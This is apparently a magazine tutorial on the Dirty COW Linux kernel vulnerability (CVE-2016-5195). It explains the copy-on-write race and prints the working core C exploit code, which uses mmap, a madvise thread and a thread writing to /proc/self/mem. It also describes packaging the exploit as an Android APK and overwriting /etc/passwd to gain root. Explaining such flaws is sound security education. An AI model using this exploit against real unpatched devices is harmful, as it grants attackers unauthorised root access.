Dirty COW: Linux Exploit

Introduction

Dirty COW, or technically known as CVE-2016-5195, is an Linux kernel exploit made famous in 2016. The exploit has been known to affect Linux kernels from version 2.6.22 which came out in 2007. This exploit was present all the way to it’s discovery in and fix in October of 2016. At which point large Linux distributors were quick to push a fix. There is however a still notable problem with this, while Linux distributions have had kernel patches and updates pushed, many Android devices which run a Linux kernel have yet to see any fix. Hardkernel is unique in how they provide a continuous stream of kernel and software updates, as many Android smartphone vendors adopt a “ship it and forget” idology when it comes to their Android devices. If you want to try this on your own ODROID device, simply download an old Android and Ubuntu image from before October 2016. This article is going to focus on the ‘what’ and ‘how’ of the Dirty COW exploit, as well as the steps it would take to port the code to Android.

The ‘What’ of Dirty COW

Dirty COW, is so named as it is a method to perform a dirty Copy On Write operation. This allows an attacker to edit to a file which they do not have write access to. The exploit uses a race-condition on the copy-on-write mechanism in linux. By brute-force an attacker can induce the race condition, allowing the altered memory to written with no regard for the user’s write access. This is a critical bug as, a non-root user would not be allowed to edit the ‘/etc/passwd’ file, which contains information regarding user accounts. Overwriting this file can enable the attacker to gain root permission as well as change passwords of others. Later in the code section we will see exactly how this can be done. The example code given with this article is setup to write text to a target file however, dirty COW can be used to overwrite any data.

The ‘How’ of Android Deployment

As mentioned earlier the Android OS runs a version of the Linux Kernel at its core. Along with that, many Android Smartphones allow software to be run which has not been signed and installed from the ‘Google Playstore’ app marketplace. This allows easy installation and deployment of our app. We just need to create an APK installer for our app and move it to the target smartphone.

From the software point of view, we have a relatively straightforward path. Google provides all the necessary tools for developing an Android app, mainly Android Studio. The pieces we need are Android Studio and the Android NDK. There is already an abundance of setup guides for Android Studio, and I’m going to avoid adding another. The NDK, or Native Development Kit, for Android allows us to write and cross-compile C and C++ code. It also, and more importantly, allows us to make certain function calls which are pivotal to this exploit. We will see a listing of all the functions and explanation of the source code next. Since, as stated before Android uses the Linux kernel, the code example here will work with little, or no, modifications (depending on use case).

The ‘How’ of Dirty COW

Linux’s memory use is the main point in how this vulnerability works. A copy of the code with annotation is following this. However, I find it best to have a quick high-level overview If we map a file from disk into memory, that file’s content can be read directly from memory now, this is done with the mmap() function bellow. When we do this, if we only have read access to the file, the file can only opened and mapped with read access as well. However the exploit takes care of this limitation for us. When we map the file we into memory we want it private. If another processes (we’ll call it process B) wants read/write access this memory that is OK. When process B writes to this memory, the memory is copied so the changes will only be seen by process B. This is the idea of copy-on-write, as once process B writes to this memory a copy is made keeping all the changes private. Once the copy is done, process B now points to the new private memory location and that data can be changed. We also have madvise(), which is telling the kernel to discard the newly copied private memory, once discarded processes B will now point back to the original memory location. You can now start to see how a race condition can be induced. What we want is for process B to write to the original memory location loaded by process A. There are 3 steps then when working correctly go like this when process B want to write:

  1. Copy data from original location to new location
  2. Update memory pointer for process B to point to new location
  3. Write data
  4. madvice() clear the new copy, and update process B memory pointer back to the old location.

If we have the steps above, working their current arrangement there is no problem. However if we keep calling madvice() we can get a flow that goes: 1, 2, 4, 3. If madvice() runs before the data is written we can have everything align were the memory is pointing the original location and that is where the write takes place!

The Code

The git project contains the source code and all Android Studio project files as well. Hidden in there as well is a cmake file which will build a dirty COW test application for a desktop Linux Distro. If you are familiar with Java and Android development, most of the “App” part of the code should be quick to understand, as there not much to it. The Java side consists of reading info from a couple blank text boxes, and calling the NDK C code on button press. We’ll take a deeper look through the C code, as that is what is pertinent for this article.

The C code is simple and short, under 200 lines. With a quick glance at the code you’ll see that, the basic steps are to open the target file as read only, then map that file into that processes memory. Once loaded into memory, two ‘dueling’ threads are spawned. One thread continuously tries to write the desired data to the processes memory. The second thread, will continuously attempt, or “hint” as the man page says, to tell the kernel we don’t need that memory page, this will write the memory to disk.

Without further ado, let's have a look at some of the crucial parts of the code:

After opening the target file to the file descriptor named ‘file’, we call fstat, which will return the status and information about that file. Here we are mainly interested in the size of the file, which is struct member st_size. We do some safety and sanity checks and continue.

// Get & check file status
struct stat fileStatus;
if(fstat(file, &fileStatus) != 0)
return -1;

// check sizes
fileSize = fileStatus.st_size;
if(fileStatus.st_size <= 0 ||
fileStatus.st_size <= strlen(replaceText) + offset) {

printf("Size problem:\n\tFile Size: %lld\n\tText Size: %ld",
fileStatus.st_size, strlen(replaceText));
return -1;
}
Once we have the file’s size, in bytes, we move on to call mmap. This function will map the file’s data into the process memory. We needed the file’s total size, as to map all of it to memory. The other important arguments provided are the two enums PROT_READ, and MAP_PRIVATE. The enum PROT_READ says the memory can only be read. MAP_PRIVATE says for mmap to use private copy-on-write mapping, this means that changes will only be visible to the calling process. Other parameters can be found on the mmap man page or here: http://man7.org/linux/man-pages/man2/mmap.2.html
// map the file into the's proccess memory and get address
memoryMap = mmap(NULL, (size_t)fileStatus.st_size, PROT_READ,
MAP_PRIVATE, file, 0);
if(memoryMap == MAP_FAILED) {
printf("Failed to map file to memory\n");
return -1;
}
fileOffset = (off_t )memoryMap + offset;

With this info, we have everything kick off our two threads. These two threads we will let run, in order to induce our sought after race condition. In my experience, you don’t need to let the threads run long at all, less than a second and the file was overwritten. Here we have the memory advise function that gets called from the pthread_create. The function is pretty sparse, it will continuously call madvise or posix_madvise. Madvise takes the address of where out mapped file is, the size, and the MADV_DONTNEED enum. This enum as mentioned before, ‘hints’ to the kernel to page out that memory.

void *adviseThreadFunction(void* adviseStruct) {
printf("Thread: Memory Advise Running\n");

while(threadLoop) {
madvise(memoryMap, fileSize, MADV_DONTNEED);
}

printf("Advise Thread - Bye\n");
return NULL;
}
Here is the second thread, it starts by opening the pseudo-directory for that process’s memory located at /proc/self/mem. Upon, a successful open we move onto the endless-loop part, where we seek to the memory location we are interested in, followed by writing our desired replacement data to it.
void *writeThreadFunction(void* text) {
printf("Thread: Write Running\n");

const char* replaceText = (char*)text;

int memFile = 0;
if( (memFile = open("/proc/self/mem", O_RDWR)) < 0) {
printf("Failed to open /proc/self/mem\n");
return NULL;
}

// Continually try to write text to memory
size_t textLength = strlen(replaceText);

printf("%ld : %s\n", textLength, replaceText);

while(threadLoop) {
// seek to where to write
lseek(memFile, fileOffset, SEEK_SET);

// Write replacement text
write(memFile, replaceText, textLength);
}

printf("Write Thread - Bye\n");
return NULL;
}
If you enjoyed this article and would like to see more more security focused articles in future issue, let me know by posting on ODROID magazine forum thread.

Be the first to comment

Leave a Reply